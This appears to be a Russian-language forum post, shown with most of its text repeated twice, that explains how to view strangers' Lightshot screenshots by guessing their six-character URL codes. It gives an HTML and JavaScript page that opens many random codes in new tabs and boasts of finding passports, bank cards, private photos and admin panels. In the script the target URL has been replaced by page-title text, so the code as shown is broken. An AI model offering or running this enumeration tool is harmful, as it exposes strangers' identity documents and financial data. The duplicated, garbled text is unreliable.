Сегодня хочу осветить такую проблему как, скриншоты, точнее, сервис Lightshot , который может показать чужие скриншоты. Что можно там найти? Абсолютно все.
Скриншоты паспортов, дампы, банковские карты, приватные фото, админки и много другой информации.
Как находить чужие скриншоты? Например, возьмем ссылку Screenshot (чей-то скриншот) и после слеша(/) у нас стоят 6 символов состоящие из цифр и букв. Заменяем либо один символ либо все, чтобы получить другой скриншот. Вот и вся система поиска чужих скриншотов.
Как все это дело оптимизировать?
Скрипт
1. Создаем текстовый файл(блокнот)
2. Пишем код:
<head>
<title></title>
<script type="text/javascript">
function makeid(length) {
var result = '';
var characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
var charactersLength = characters.length;
for ( var i = 0; i < length; i++ ) {
result += characters.charAt(Math.floor(Math.random() * charactersLength));
}
return result;
}
function go_st() {
var n_tab = +document.myform.len.value+1;
for (var i = 1; i<n_tab; i++)
{
var n = makeid(6);
var doc = window.open("Lightshot — screenshot tool for Mac & Win"+n, "_blank");
}
}
</script>
</head>
<body>
<FORM NAME="myform" action="">
<h1>Go!</h1>
<input type="text" name="len">
<input type="button" value="Start!" onclick="go_st()">
</FORM>
</body>
</html>
3. Сохраням и менем расширение на .html
4. Открываем его и набираем любую цифру. Вот и скриншотики.
Скриншоты паспортов, дампы, банковские карты, приватные фото, админки и много другой информации.
Как находить чужие скриншоты? Например, возьмем ссылку Screenshot (чей-то скриншот) и после слеша(/) у нас стоят 6 символов состоящие из цифр и букв. Заменяем либо один символ либо все, чтобы получить другой скриншот. Вот и вся система поиска чужих скриншотов.
Как все это дело оптимизировать?
Скрипт
1. Создаем текстовый файл(блокнот)
2. Пишем код:
<head>
<title></title>
<script type="text/javascript">
function makeid(length) {
var result = '';
var characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
var charactersLength = characters.length;
for ( var i = 0; i < length; i++ ) {
result += characters.charAt(Math.floor(Math.random() * charactersLength));
}
return result;
}
function go_st() {
var n_tab = +document.myform.len.value+1;
for (var i = 1; i<n_tab; i++)
{
var n = makeid(6);
var doc = window.open("Lightshot — screenshot tool for Mac & Win"+n, "_blank");
}
}
</script>
</head>
<body>
<FORM NAME="myform" action="">
<h1>Go!</h1>
<input type="text" name="len">
<input type="button" value="Start!" onclick="go_st()">
</FORM>
</body>
</html>
3. Сохраням и менем расширение на .html
4. Открываем его и набираем любую цифру. Вот и скриншотики.